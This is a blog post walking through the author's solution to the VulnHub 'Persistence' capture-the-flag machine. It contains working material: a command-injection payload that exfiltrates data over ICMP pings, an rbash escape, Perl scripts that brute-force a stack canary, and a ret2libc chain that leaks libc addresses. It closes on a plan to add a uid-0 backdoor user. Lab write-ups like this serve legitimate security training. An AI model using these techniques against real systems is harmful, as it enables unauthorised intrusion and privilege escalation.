Tag Archives: ret2libc

Persistence or: How I Learned to Stop Worrying and Love WOPR

I will remember September 2014 as the month I devoted to the Persistence competition over at VulnHub. As a relative newcomer to offensive security, I was not confident that I would ever reach the final conclusion of beating the system. Sure, I had completed Offensive Security’s excellent OSCP certification earlier in the year, but that was only a taster of the techniques that would be required to fully exploit sagi- & superkojiman’s devious challenge.

This very enjoyable (and frustrating) machine has taken me far beyond my basic understanding of buffer overflows and thrown me into the topics of binary decompiling, Return-Oriented Programming, Canaries, Linux shared-library addressing, and debugging. It’s been a great learning experience, and I highly recommend it for anyone interested in learning more about defeating buffer overflow protections, or even just x86 architecture.

So, for those still interested, please read on and I will try and recall the journey I took to break Persistence. Apologies if anyone finds my post too wordy or unpolished; this is my first and I am running out of time approaching the deadline.

Notes: My box is 192.168.13.127. Persistence is 192.168.13.181. Also I’m running Kali x64 so I needed to add the package libc6-i386 to allow x86 binaries to be analysed.

First steps

Persistence: "the fact of continuing in an opinion or course of action in spite of difficulty or opposition." by sagi- & superkojiman

With the machine booted up,  I found the new IP address on my network and set about scanning it.

root@worry:~/persistence# nmap -p- -T4 192.168.13.181

Starting Nmap 6.46 ( http://nmap.org ) at 2014-10-03 16:48 BST
Nmap scan report for 192.168.13.181
Host is up (0.00049s latency).
Not shown: 65534 filtered ports
PORT   STATE SERVICE
80/tcp open  http
MAC Address: 00:0C:29:C7:71:A8 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 87.95 seconds

Just a web server. I queried it in a browser and all I got was a static webpage with the famous Dali painting…

Dali's The Persistence of Memory

I did some initial service identification to see if I could get a quick start in, but I found that it was running a secure and properly configured version of nginx. Then hoping to find some hidden content I ran dirb, but its default wordlist didn’t turn up anything:

root@worry:~/persistence# dirb http://192.168.13.181/

-----------------
DIRB v2.21    
By The Dark Raver
-----------------

START_TIME: Fri Oct  3 17:12:53 2014
URL_BASE: http://192.168.13.181/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4592                                                          

---- Scanning URL: http://192.168.13.181/ ----
+ http://192.168.13.181/index.html (CODE:200|SIZE:391)                                                                                                           
                                                                                                                                                                 
-----------------
DOWNLOADED: 4592 - FOUND: 1

There had to be something in there, so I carried on with the more configurable OWASP DirBuster. Using the included word list directory-list-1.0.txt, and the file extension list “html,htm,php,pl,cgi”, I started a scan and waited. And then result! A single PHP page: /debug.php.

DirBuster scan settings DirBuster results Complete with ping tool (and command injection?)

By entering my IP address into this form and submitting, Persistence will send four pings towards my machine. I know this, because Tyler Wireshark knows this. The PHP form never produces any output, but I suspected that it was probably calling exec() with unsanitised user input and that it might be vulnerable to a command injection. That was quickly established to be true when I added additional commands to the input… “8.8.8.8 && ping -c 1 192.168.13.127” would ping a Google DNS server, and then ping my box once.

By using && logic I was able to tie together some commands and try and get some information back from the system. For example, “8.8.8.8 && php –help && ping -c 1 192.168.13.127” produced no pings back to my box, but “8.8.8.8 && python –help && ping -c 1 192.168.13.127” did. So I have access to python to execute complex attacks.

Python shell?

I tried some off the shelf reverse shell attacks, but no luck. So I also tried some basic TCP operations, but it appeared that no communication between Persistence and my box was possible. It looked like I was firewalled out. (This belief proved to be correct.)

The only communication I had was ICMP pings.

I took longer than I care to remember trying to figure out another way through. Eventually, while on the way to the pub one Thursday evening, I remembered being taught about steganography – the concept of hiding information in otherwise innocent data or communications noise.

It seemed mad to me that this was the intended challenge, but with some goading from friends and some encouragement from #vulnhub, I took my crazy idea forward.

ICMP Exfiltration

It turns out that this technique is all too common and has a name, but it was new to me at the time.

I started by constructing a script that would return the results of “ls -l”, and I would use ping‘s -p parameter which allows me to specify up to 16 bytes of data in the packet. The final input text field data looked like this:

8.8.8.8 && echo "from subprocess import Popen, PIPE
p = Popen(['ls', '-l'], stdout=PIPE, stderr=PIPE)
output, err = p.communicate ()
rc = p.returncode
offset = 0
while offset < len(output):
 buf = len(output) - offset
 print buf
 if buf > 16:
  buf = 16
 sendback = output[offset:offset+buf]
 hexback = sendback.encode('hex')
 from subprocess import call
 call(['ping', '-c', '1', '-p', hexback, '192.168.13.127'])
 offset += buf" | python

Using wonderful BurpSuite Repeater, I made got my request URL-encoded and sent it out, and then to my amazement I was not only getting a large number of pings back, but was also getting interesting information back! I was on the right track. I read information coming through in byte range 3a-40 of each package captured in Wireshark:

Data stolen over ICMP is revealed

And was able to piece together the following directory listing:

total 160.
-rwxr-xr-x. 1 root root    439 Mar 17  2014 debug.php
-rw-r--r--. 1 root root    391 Mar 12  2014 index.html
-rw-r--r--. 1 root root 146545 Mar 12  2014 persistence_of_memory_by_tesparg-d4qo048.jpg
-rwsr-xr-x. 1 root root   5757 Mar 17  2014 sysadmin-tool

Jackpot! Next, I would attempt to run sysadmin-tool to see what information I can gather from it. Again, I would use BurpSuite and URL-encoding to send the above request, but this time I would run “./sysadmin-tool” with parameter “–help”. Here’s the response extracted from Wireshark:

Usage: sysadmin-tool --activate-service

Finally, I modified the parameter once again to “–activate-service”:

Service started...
Use avida:dollars to access.

Fingers crossed, I ran another nmap portscan on the box to see if there were any new services open. I was not disappointed; SSH was now open:

root@worry:~/persistence# nmap -T4 -p- 192.168.13.181

Starting Nmap 6.46 ( http://nmap.org ) at 2014-10-03 21:44 BST
Nmap scan report for 192.168.13.181
Host is up (0.00051s latency).
Not shown: 65533 filtered ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 00:0C:29:C7:71:A8 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 87.92 seconds

The Limited Shell

I quickly connected over SSH with the provided credentials, and found myself in a limited shell, where I couldn’t change directory, and could only execute commands contained in /home/avida/usr/bin.

root@worry:~/persistence# ssh avida@192.168.13.181
The authenticity of host '192.168.13.181 (192.168.13.181)' can't be established.
RSA key fingerprint is 37:22:da:ba:ef:05:1f:77:6a:30:6f:61:56:7b:47:54.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.13.181' (RSA) to the list of known hosts.
avida@192.168.13.181's password:
Last login: Mon Mar 17 17:13:40 2014 from 10.0.0.210
-rbash-4.1$ cd /
-rbash: cd: restricted
-rbash-4.1$ /bin/bash
-rbash: /bin/bash: restricted: cannot specify `/' in command names
-rbash-4.1$ echo $PATH
/home/avida/usr/bin

After jumping into autopilot and trying some standard attempts to escape limited shells, I realised that I was in rbash and that it’s a pretty secure jail-cell. I needed to find something in usr/bin that I could exploit:

-rbash-4.1$ ls usr/bin/
cat    cut  diff  file  gunzip  ifconfig  kill    lscpu   nano     passwd  pstree  renice  route  telnet  uniq    which
clear  dd   dir   ftp   gzip    iftop     locale  md5sum  netstat  ping    pwd     rm      seq    top     uptime  who
cp     df   du    grep  id      ipcalc    ls      mkdir   nice     ps      rename  rmdir   sort   touch   wc      whoami

For the first time on this challenge, the answer jumped out immediately. I could use nice to run another shell and break out of the jail. I would also update the PATH environment variable so that I had intuitive access to all available system commands

-rbash-4.1$ nice /bin/bash
bash-4.1$ export PATH="/usr/bin:/usr/sbin:/bin:/sbin"
bash-4.1$

Meet WOPR

Thus began my proper reconnaissance of the target. Looking back, this was a playful break before the major challenge. I examined the running processes, open ports, any logs that I could read, and traversed the file system for as many clues as I could find.

The system was pretty locked down, felt well configured, and no amount of searching the CVE database revealed public exploits to be available for the operating system (CentOS 6.5 in this case).

The only thing that seemed genuinely targetable was a service running on TCP port 3333:

bash-4.1$ netstat -napt
(No info could be read for "-p": geteuid()=500 but you should be root.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address               Foreign Address             State       PID/Program name   
tcp        0      0 0.0.0.0:3333                0.0.0.0:*                   LISTEN      -                   
tcp        0      0 127.0.0.1:9000              0.0.0.0:*                   LISTEN      -                   
tcp        0      0 0.0.0.0:80                  0.0.0.0:*                   LISTEN      -                   
tcp        0      0 0.0.0.0:22                  0.0.0.0:*                   LISTEN      -                   
tcp        0      0 127.0.0.1:25                0.0.0.0:*                   LISTEN      -                   
tcp        0      0 192.168.13.181:22           192.168.13.127:57361        ESTABLISHED -                   
tcp        0      0 :::22                       :::*                        LISTEN      -                   
tcp        0      0 ::1:25                      :::*                        LISTEN      -                   

Only accessible from my SSH shell, I tried connecting…

bash-4.1$ telnet 127.0.0.1 3333
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
[+] hello, my name is sploitable
[+] would you like to play a game?
>

Nice. If I’m not mistaken that’s a reference to the film War Games. Having too much fun, I did some searches on the film in case a relevant response was required. I tried all sorts of things, but the response is always the same:

> Joshua
[+] yeah, I don't think so
[+] bye!
Connection closed by foreign host.
...
> y
[+] yeah, I don't think so
[+] bye!
Connection closed by foreign host.
...
> YES!!!
[+] yeah, I don't think so
[+] bye!
Connection closed by foreign host.
...
> Love to.  How about Global Thermonuclear War?
[+] yeah, I don't think so
Connection closed by foreign host.

But the response is always the same…

Except for that last one! Notice that “[+] bye!” is missing in the response. No, that behaviour is not because I correctly guessed the correct phrase, but because the length is overflowing a buffer and changing the program’s behaviour. This tell will be crucial later on!

I surmise that the service running on TCP port 3333 is the one called wopr (also the name of the mainframe in the film), and confirm that each time I connect to port 3333, a new wopr process is forked and then terminated:

bash-4.1$ ps aux | grep wopr
root      1118  0.0  0.0   2004   408 ?        S    12:36   0:00 /usr/local/bin/wopr
root      3752  0.0  0.0      0     0 ?        Z    18:10   0:00 [wopr]
avida     3776  0.0  0.1   4360   744 pts/0    SN+  18:13   0:00 grep wopr

I won’t be able to debug the application on Persistence, so I take a copy of it to my Kali Linux box for analysis. Since I was prevented from creating any TCP (or even UDP) connections in or out of the box I resorted to base64 encoding the wopr binary in the terminal and then decoding it on my own machine. (No more unwieldy ICMP exfiltration required.)

An exercise in decompiling

Now that I had a binary, I disassembled it with objdump. It was not very large. As I need to learn to become a bit more fluent with assembly language (and also since I don’t have a fancy expensive decompiler like IDA Pro to do it for me) I decided to go about decompiling it manually.

This bit took me a few hours, but that’s mainly because I had to comb through the instructions and reference a good x86 instruction set reference.

For those really interested, my poorly decompiled C can be read interspersed in the disassembled program. But for most readers, it’s enough to know that the program looks something like this:

void get_reply(char* request, int length, int filehandle)
{
    int canary = ????;
    char[30] dest;
    memcpy(dest, filehandle, length);
    write(filehandle, "[+] yeah, I don't think son", 27);
    if (canary != ????)
    {
        __stack_chk_fail();
    }
}

main(int argc, char* argv[])
{
    int canary = ????;

    int optval = 1;
    int s = socket(PF_UNIX, SOCK_STREAM, 0);
    setsockopt(s, 1, SO_REUSEADDR, *optval, 4);
    struct sockaddr_in address;
    address.sin_family = AF_INET;
    address.sin_port = htons(3333);
    address.sin_addr = 0;
    memset(*sockaddr_in+8, 0x00, 8); // i.e. fill last 8 bytes of struct with zeros.
    bind(s, *address, 16);
    puts("[+] bind complete");
    listen(socket, 14);
    setenv("TMPLOG", "/tmp/log", 1);
    puts("[+] waiting for connections");
    puts("[+] logging queries to $TMPLOG");
    while(true)
    {
        struct sockaddr_in client;
        int session;
        session = accept(s, *client, 16);
        puts("[+] got a connection");
        if (!fork()) // Not sure about this exactly.
        {
            write(session, "[+] hello, my name is sploitablen", 33);
            write(session, "[+] would you like to play a game?n", 35);
            write(session, "> ", 2);
            char[512] readbuffer;
            memset(readbuffer, 0x00, 512); // Zero the buffer.
            int readlength;
            readlength = read(session, readbuffer, 512);
            get_reply(readbuffer, readlength, session);
            write(session, "[+] bye!n", 9);
            close(session);
            exit(0); // Return zero. Clean exit.
        }
        close(session);
        waitpid(0xffffff, 0x0, 0x1); // Not sure about this.
    }

    if (canary != ????)
    {
        __stack_chk_fail();
    }
}

There you have it; there’s no real game logic to the application. But there is a buffer overflow that can be exploited…

When function main reads from the TCP connection, it will consume 512 bytes (or less if less sent at that point) into an array. That is done safely. However, it then calls get_reply, passing a pointer to that array. get_reply copies the entire length of the array into a local array that is only 30 or so bytes long. Buffer overflow!

Canary cracking

However, the function is protected by a canary. This is the reason that (earlier) the program didn’t output “[+] bye!” when long input was sent its way; the canary gets overwritten, and so instead of returning to main cleanly, the __stack_chk_fail function is called which terminates the program for its own protection.

So I cracked open The GNU Debugger and began to step through the program to see if the canary was static or not. I would want to be debugging the forked child processes, not the parent handling connections. To do so, I started building up my attack script in Perl. Key feature is the option to sleep between connecting and sending data; this allows me enough time to attach to the child process and debug.

#!/usr/bin/perl

use strict;
use warnings;
use IO::Socket::INET;

sub send_data # request, sleep
{
    my $connection = new IO::Socket::INET (
        PeerHost => '127.0.0.1',
        PeerPort => '3333',
        Proto => 'tcp',
    );
    die "Can't connect.n" unless $connection;
    my $request = shift();
    my $sleep = shift();
    if (defined($sleep) && $sleep)
    {
        sleep(20);
    }
    $connection->send($request);
    my @response = <$connection>;
    return @response;
}

send_data("A" x 10, 1);

For the avoidance of doubt, one can attach to the child thus:

root@worry:~/persistence# ps aux | grep wopr
root     22026  0.0  0.0   1844    64 pts/0    S+   00:18   0:00 ./wopr
root     22029  0.0  0.0   7772   840 pts/7    S+   00:18   0:00 grep wopr
root     63999  0.0  0.0   1844   212 pts/0    S+   Oct02   0:00 ./wopr
root@worry:~/persistence# gdb wopr 22026

After stepping through the program a few times, I found that the canary would remain the same for each new connection, but that the starting value is seemingly random. A restart of the parent process will change the canary and therefore cannot be predicted (by me anyway).

At this point I was seriously wondering whether I was seriously meant to try and brute-force the entire 2^32 combinations. That would take a long time. However, it was seriously considering this idea that a better one was presented (regretfully I did not reach the conclusion on my own). If I can overwrite the canary one byte at a time, then I at most need to try 256*4 combinations; very feasible!

Here is what my canary smasher looks like. It differentiates between a trashed and pristine canary by the absence or presence of the “bye” in the response.

#!/usr/bin/perl

use strict;
use warnings;
use IO::Socket::INET;

sub send_data
{
    my $connection = new IO::Socket::INET (
        PeerHost => '127.0.0.1',
        PeerPort => '3333',
        Proto => 'tcp',
    );
    die "Can't connect.n" unless $connection;
    my $request = shift();
    my $sleep = shift();
    if (defined($sleep) && $sleep)
    {
        sleep(20);
    }
    $connection->send($request);
    my @response = <$connection>;
    return @response;
}

sub caused_crash
{
    return join("n", @_) !~ m/bye/;
}

# Find length of buffer up to canary.

my $broken = 0;
my $length = 10;

while (!$broken)
{
    $length++;

    my $connection = new IO::Socket::INET (
        PeerHost => '127.0.0.1',
        PeerPort => '3333',
        Proto => 'tcp',
    );
    die "Can't connect.n" unless $connection;

    my @response = send_data("A" x $length);

    if (caused_crash(@response))
    {
        $broken = 1;
        $length--;
    }
}

printf("Safe buffer length discovered to be: %dn", $length);

# Crack canary value

my @canary = ();
my $teststr = "A" x $length;

while (scalar(@canary) < 4)
{
    for (my $testbyte = 0; $testbyte < 256; $testbyte++)
    {
        if (!caused_crash(send_data($teststr . chr($testbyte))))
        {
            push(@canary, chr($testbyte));
            $teststr .= chr($testbyte);
            printf("Byte %d of canary found: \x%02xn", scalar(@canary), $testbyte);
            last();
        }
        elsif ($testbyte == 255)
        {
            die("Failed to find canary value!n");
        }
    }
}

print("All four bytes of canary found.n");

This runs quickly…

root@worry:~/persistence# ./fuzz2.pl
Safe buffer length discovered to be: 30
Byte 1 of canary found: x00
Byte 2 of canary found: x11
Byte 3 of canary found: x4b
Byte 4 of canary found: x79
All four bytes of canary found.

(It’s worth mentioning for other buffer overflow beginners, that there is no need to find bad input characters in this challenge, as strcpy is not being used. I can see from the assembly that only memcpy and read functions are used, which will copy data verbatim.)

Segmentation fault

It was at this point that I realised I had control over the stack of the program and I got a bit excited. Instead of evaluating my new surroundings, I ploughed straight in and tried to create a shellcode. Since I couldn’t make network connections, reverse shells were out. So I used msfpayload to make a payload that would create a new user.

Nope. Segmentation fault. It’s a non-executable stack. If I had taken a few minutes to do some more footprinting of the application I wouldn’t have wasted my time. Arming GDB with the PEDA extensions allows this to be known at the start:

gdb-peda$ checksec
CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

I realised at this point that I was going to need to level up if I was going to have any chance beating Persistence. It was naive of me to think that I would be able to beat a machine so-called that easily.

It was time to finally learn what all of the fancy terms like ROP, retn2libc, PLT, and ASLR were all about.

First things first… Is ASLR actually enabled on Persistence?

bash-4.1$ cat /proc/sys/kernel/randomize_va_space
0

No. OK, that’s one less thing to worry about. I set my Kali box to be the same and started work.

Back to school

I spent a couple of days of intensive reading. While I was very keen to just smash the machine and get on with my life, I wanted to understand what I was doing and why it worked, not just beat it.

I want to use an analogy I once heard P. T. Anderson use about the writing process. Well, learning a computing specialism, for me, is a lot like ironing. Sometimes I just need to get the shirt ironed, so I sweep the iron over the fabric as quickly as possible. That’s me copying an exploit from a guide or using a cheat sheet. But there are all of these creases; these are the gaps in my knowledge and hacks I didn’t understand. So I try to go back over the creases as much as I can and try and get them flat. The only way I know to do that it to read the theory, and to get my hands dirty with the disassembler going through the attack time after time until it makes sense.

This takes many, many hours, but it is worth it.

In that spirit, I read a great many sources. Too many to remember them all but ones I found most valuable were:

Return-oriented programming

The first challenge that needs to be solved is the non-executable stack. For this, I learned about ROP; specifically return-to-libc attacks, and knowing about it is fundamental to the rest of this walkthrough.

This involves contriving an incorrect stack history in memory. A normal stack should look something like this:

  1. We’re in function_c. At end of function jump to just after function_c was called in function_b.
  2. We’re in function_b. At end of function jump to just after function_b was called in function_a.
  3. We’re in function_a. No more stack; just jump to exit system call.

If you can overwrite the stack you can contrive a completely incorrect (yet deterministic  and executable) stack history, which allows you to run any functions in sequence, provided you know their addresses:

  1. Currently in function_c. At end of function jump to start of strcpy.
  2. In strcpy. At end of function jump to start of write.
  3. In write. At end of function jump to start of puts.
  4. In puts. No more stack; just jump to exit system call.

This looks completely weird for most people that are used to high-level programming, but it works very effectively. Here’s a quick illustration of how it looks, but bear in mind that the guides I’ve cited are better explained.

AAAA    AAAA  AAAA  AAAA # The 30 bytes filling the
AAAA    AAAA  AAAA  AA   # stack up to the canary.
CCCC    # The four canary bytes
SFP     # Overwrite the SFP with anything
# Function    # 2 arguments, as expected by strcpy
strcpy  PPR   ARG1  ARG2
        # Address with two POP instructions, followed by RET
# Function    # 3 arguments, as expected by write
write   PPPR  ARG1  ARG2  ARG3
        # Address with three POP instructions, followed by RET.
# Function  # 1 argument, as expected by puts
puts    EXIT  ARG1
        # Last call in our attack, so just return to exit

What this is doing is performing one strcpy operation (from Memory address ARG2 to ARG1), then calling write to write ARG3 bytes from memory location ARG2, to filehandle ARG1. Finally, puts will print the string at memory location ARG1 to standard output.

  1. Call strcpy with return address write, and two arguments for strcpy: destination ARG1, and source ARG2.
  2. When strcpy returns, the instructions POP, POP, RET are called, thereby removing the two arguments from the stack, and returning to… start of write
  3. Call write with return address puts, and three arguments for write: filehandle ARG1, source ARG2, and length ARG3.
  4. When write returns, the instructions POP, POP, POP, RET are called, thereby removing the three arguments from the stack, and returning to… start of puts.
  5. Call puts with return address exit, and one arguments for puts: string ARG1.
  6. When puts returns, we will just call exit. No POPping required.

This is best learned by practice, and I shan’t go into the detail of the many failures and successes I had in learning about this.

Planning an attack

The attack I want to do is essentially to call system with a suitable command payload. To do so, I will need to know the address of system, and I will need to find (or inject) the commands I want to execute into the program memory.

It’s also worth recognising that I only have 474 bytes that I can insert into the stack (512 bytes, minus the 30-byte variable, the 4-byte canary, and the SFP).  In ROP, each call requires 16-bytes on average, so there is a maximum of around 29 functions that can be called.

A number of pieces of information need to be gathered for a successful attack.

Suitable POP addresses

First of all, you will need some POP [..] RET addresses.

msfelfscan will find these, but it appears to only find examples with two POPs.

root@worry:~/persistence# msfelfscan -p wopr
[wopr]
0x08048743 pop ebx; pop ebp; ret
0x08048bb7 pop edi; pop ebp; ret
0x08048be8 pop ebx; pop ebp; ret

We will be needing three POPs in some cases, so some manual searching is required. First, identify the memory range that wopr occupies using gdb-peda. Here, the start:end range is identified as 0x8048000:0x804b000…

gdb-peda$ info proc mappings
process 22553
Mapped address spaces:

    Start Addr   End Addr       Size     Offset objfile
     0x8048000  0x8049000     0x1000          0                              /root/persistence/wopr
     0x8049000  0x804a000     0x1000          0                              /root/persistence/wopr
     0x804a000  0x804b000     0x1000     0x1000                              /root/persistence/wopr
     0x804b000  0x806c000    0x21000          0                                   [heap]
    0xf7e5c000 0xf7e5d000     0x1000          0        
    0xf7e5d000 0xf7fba000   0x15d000          0                             /lib32/libc-2.13.so
    0xf7fba000 0xf7fbb000     0x1000   0x15d000                             /lib32/libc-2.13.so
    0xf7fbb000 0xf7fbd000     0x2000   0x15d000                             /lib32/libc-2.13.so
    0xf7fbd000 0xf7fbe000     0x1000   0x15f000                             /lib32/libc-2.13.so
    0xf7fbe000 0xf7fc2000     0x4000          0        
    0xf7fdd000 0xf7fdf000     0x2000          0        
    0xf7fdf000 0xf7fe0000     0x1000          0                                   [vdso]
    0xf7fe0000 0xf7ffc000    0x1c000          0                             /lib32/ld-2.13.so
    0xf7ffc000 0xf7ffd000     0x1000    0x1c000                             /lib32/ld-2.13.so
    0xf7ffd000 0xf7ffe000     0x1000    0x1d000                             /lib32/ld-2.13.so
    0xfffdd000 0xffffe000    0x21000          0                                   [stack]

Next, find all POP EBX instructions (0x5b) and then find one that is part of a chain of three.

gdb-peda$ searchmem "0x5b" 0x8048000 0x804b000
Searching for '0x5b' in range: 0x8048000 - 0x804b000
Found 32 results, display max 32 items:
wopr : 0x8048538 (<_init+12>:    pop    ebx)
wopr : 0x8048559 (<_init+45>:    pop    ebx)
wopr : 0x8048743 (<__do_global_dtors_aux+83>:    pop    ebx)
wopr : 0x8048bb5 (<__libc_csu_init+85>:    pop    ebx)
wopr : 0x8048bd9 (<__do_global_ctors_aux+25>:    pop    ebx)
wopr : 0x8048be8 (<__do_global_ctors_aux+40>:    pop    ebx)
wopr : 0x8048bf8 (<_fini+12>:    pop    ebx)
wopr : 0x8048c05 (<_fini+25>:    pop    ebx)
wopr : 0x8048c14 ("[+] yeah, I don't think son")
wopr : 0x8048c47 ("[+] bind complete")
wopr : 0x8048c70 ("[+] waiting for connections")
wopr : 0x8048c8c ("[+] logging queries to $TMPLOG")
wopr : 0x8048cb2 ("[+] got a connection")
wopr : 0x8048cc8 ("[+] hello, my name is sploitablen")
wopr : 0x8048cec ("[+] would you like to play a game?n")
wopr : 0x8048d13 ("[+] bye!n")
wopr : 0x8049538 --> 0xbcc3815b
wopr : 0x8049559 --> 0xffc3c95b
wopr : 0x8049743 --> 0x8dc35d5b
wopr : 0x8049bb5 ("[^_]Ë34$Ð220U211345S215d$3742412423704b203370377t222732423704b220215[374377Ћ03203370377u364215d$04[]ÐU211345S203354", <incomplete sequence 350>)
wopr : 0x8049bd9 --> 0xd0fffc5b
wopr : 0x8049be8 --> 0x90c35d5b
wopr : 0x8049bf8 --> 0xfcc3815b
wopr : 0x8049c05 --> 0x3c3c95b
--More--(25/33)q
gdb-peda$ x/4i 0x8048538
   0x8048538 <_init+12>:    pop    ebx
   0x8048539 <_init+13>:    add    ebx,0x1abc
   0x804853f <_init+19>:    mov    edx,DWORD PTR [ebx-0x4]
   0x8048545 <_init+25>:    test   edx,edx
gdb-peda$ x/4i 0x8048559
   0x8048559 <_init+45>:    pop    ebx
   0x804855a <_init+46>:    leave  
   0x804855b <_init+47>:    ret    
   0x804855c:    push   DWORD PTR ds:0x8049ff8
gdb-peda$ x/4i 0x8048743
   0x8048743 <__do_global_dtors_aux+83>:    pop    ebx
   0x8048744 <__do_global_dtors_aux+84>:    pop    ebp
   0x8048745 <__do_global_dtors_aux+85>:    ret    
   0x8048746 <__do_global_dtors_aux+86>:    lea    esi,[esi+0x0]
gdb-peda$ x/4i 0x8048bb5
   0x8048bb5 <__libc_csu_init+85>:    pop    ebx
   0x8048bb6 <__libc_csu_init+86>:    pop    esi
   0x8048bb7 <__libc_csu_init+87>:    pop    edi
   0x8048bb8 <__libc_csu_init+88>:    pop    ebp
gdb-peda$ x/5i 0x8048bb5
   0x8048bb5 <__libc_csu_init+85>:	pop    ebx
   0x8048bb6 <__libc_csu_init+86>:	pop    esi
   0x8048bb7 <__libc_csu_init+87>:	pop    edi
   0x8048bb8 <__libc_csu_init+88>:	pop    ebp
   0x8048bb9 <__libc_csu_init+89>:	ret

DISCO! 0x8048bb6 contains a required POPx3, RET sequence.

Get constant function addresses

We can query function addresses in gdb. Anything in the range 0x8048000:0x804b000 can be reliably called across systems. These addresses are mostly short functions in the Procedure Linkage Table that redirect to the real shared function-locations in memory.

gdb-peda$ info functions
All defined functions:

Non-debugging symbols:
0x0804852c  _init
0x0804856c  __errno_location
0x0804856c  __errno_location@plt
0x0804857c  __gmon_start__
0x0804857c  __gmon_start__@plt
0x0804858c  write
0x0804858c  write@plt
0x0804859c  listen
0x0804859c  listen@plt
0x080485ac  memset
0x080485ac  memset@plt
0x080485bc  __libc_start_main
0x080485bc  __libc_start_main@plt
0x080485cc  htons
0x080485cc  htons@plt
0x080485dc  read
0x080485dc  read@plt
0x080485ec  perror
0x080485ec  perror@plt
0x080485fc  accept
0x080485fc  accept@plt
0x0804860c  socket
0x0804860c  socket@plt
0x0804861c  memcpy
0x0804861c  memcpy@plt
0x0804862c  waitpid
0x0804862c  waitpid@plt
0x0804863c  bind
0x0804863c  bind@plt
0x0804864c  close
0x0804864c  close@plt
0x0804865c  __stack_chk_fail
0x0804865c  __stack_chk_fail@plt
0x0804866c  puts
0x0804866c  puts@plt
0x0804867c  fork
0x0804867c  fork@plt
0x0804868c  setsockopt
0x0804868c  setsockopt@plt
0x0804869c  setenv
0x0804869c  setenv@plt
0x080486ac  exit
0x080486ac  exit@plt
0x080486c0  _start
0x080486f0  __do_global_dtors_aux
0x08048750  frame_dummy
0x08048774  get_reply
0x080487de  main
0x08048b50  __libc_csu_fini
0x08048b60  __libc_csu_init
0x08048bba  __i686.get_pc_thunk.bx
0x08048bc0  __do_global_ctors_aux
0x08048bec  _fini
<snip />

 Understanding PLT/GOT redirection

Take for example function write (0x0804858c).

gdb-peda$ x/3i 0x0804858c
   0x804858c <write@plt>:    jmp    DWORD PTR ds:0x804a008
   0x8048592 <write@plt+6>:    push   0x10
   0x8048597 <write@plt+11>:    jmp    0x804855c

This is just a PLT skeleton that jumps to an address contained in 0x804a008…

gdb-peda$ x/xw 0x804a008
0x804a008 <write@got.plt>:    0xf7f269e0

i.e. the constant addresses of functions in the PLT table are used to redirect to the dynamic addresses of the libc functions in shared memory. 0xf7f269e0 is the address I get for the write function, but not for Persistance, or any other machine.

Shared memory base and offset locations

Final trick…

If you can get a program to leak the dynamic memory address of a libc function that we do have the PLT/GOT addresses of (e.g. write), then we can also get the dynamic memory address of any other function in that library.

By way of example, let’s pretend that in the last section, the dynamic address of write@got.plt (0xf7f269e0) has been leaked and not stolen through debugging. Now we want to discover the address of another function, say, system.

To do so, simply dump the address offsets from the library and calculate.

root@worry:~/persistence# find / -name "libc.so.6"
/lib/x86_64-linux-gnu/libc.so.6
/lib32/libc.so.6
root@worry:~/persistence# objdump -T /lib32/libc.so.6 | grep " write"
000d1090  w   DF .text    000000aa  GLIBC_2.0   writev
000c99e0  w   DF .text    0000007a  GLIBC_2.0   write
root@worry:~/persistence# objdump -T /lib32/libc.so.6 | grep " system"
0003be40  w   DF .text    0000007d  GLIBC_2.0   system

The dynamic address of write, minus the offset address of write (0xf7f269e0 – 0x000c99e0) is 0xf7e5d000, which is the libc base address in memory.

The dynamic address of system, therefore, is 0xf7e5d000 + 0x0003be40 = 0xf7e98e40.

This can be confirmed in testing with gdb:

gdb-peda$ x/2xi 0xf7e98e40
   0xf7e98e40 <system>:    sub    esp,0xc
   0xf7e98e43 <system+3>:    mov    DWORD PTR [esp+0x4],esi

Leaking memory addresses

Since I want to run system and possibly strcpy , I need to find their address, but they are not in the PLT of wopr.

I start by trying to find the address of another function that is, e.g. write. I really need to be able to leak that information out of the process. To do so, I would utilise a call to write, and copy the address contained in write‘s PLT pointer over the TCP connection.

I already have the addresses of some POP instructions, and also write, and exit functions:

  • POP, POP, RET: 0x08048743
  • POP,POP,POP,RET: 0x08048bb6
  • write@plt: 0x0804858c
  • write@got.plt: 0x0804a008

I next find the offsets of functions in libc on Persistence:

bash-4.1$ find / -iname "libc.so.6" 2> /dev/null
/lib/i686/nosegneg/libc.so.6
/lib/libc.so.6
/nginx/lib/libc.so.6
bash-4.1$ objdump -T /lib/libc.so.6 | grep " write"
000da1b0  w   DF .text    000000aa  GLIBC_2.0   writev
000d2920  w   DF .text    0000007a  GLIBC_2.0   write
bash-4.1$ objdump -T /lib/libc.so.6 | grep " system"
0003b210  w   DF .text    0000007d  GLIBC_2.0   system
bash-4.1$ objdump -T /lib/libc.so.6 | grep " strcpy"
000796d0 g    DF .text    00000020  GLIBC_2.0   strcpy

I added the following block to my canary cracking script from earlier:

my $ppr = "x43x87x04x08";
my $pppr = "xb6x8bx04x08";
my $write = "x8cx85x04x08";
my $exit = "xacx86x04x08";
my $writeGOT = "x08xa0x04x08";
my $response = reverse(substr(join('', send_data(
 "A" x $length . join('', @canary). "xe8xdcxb9xff" # SFP
 . $write . $exit . "x04x00x00x00" . $writeGOT . "x04x00x00x00"
 )), -4));

my $writehex = "";
($writehex .= "$_") for unpack "(H2)*", $response;
my $libc_offset = hex($writehex) - hex("0xd2920");
# And now we can get the address of system, strcpy.
my $system = $libc_offset + hex("0x3b210");
my $strcpy = $libc_offset + hex("0x796d0");

printf("system: %08xn", $system);
printf("strcpy: %08xn", $strcpy);

This outputs the addresses of these functions as they appear in Persistence’s memory:

system: 0016c210
strcpy: 001aa6d0

Building a successful payload

On the home stretch, I thought about building an attack with multiple calls to strcpy. In one arbitrary memory I would copy the characters I want system to execute (e.g. filling it with the string “/usr/sbin/useradd -o -u 0 -p 64B0X1YfSO9v2 bobx00” which will create a superuser with credentials bob:bob).

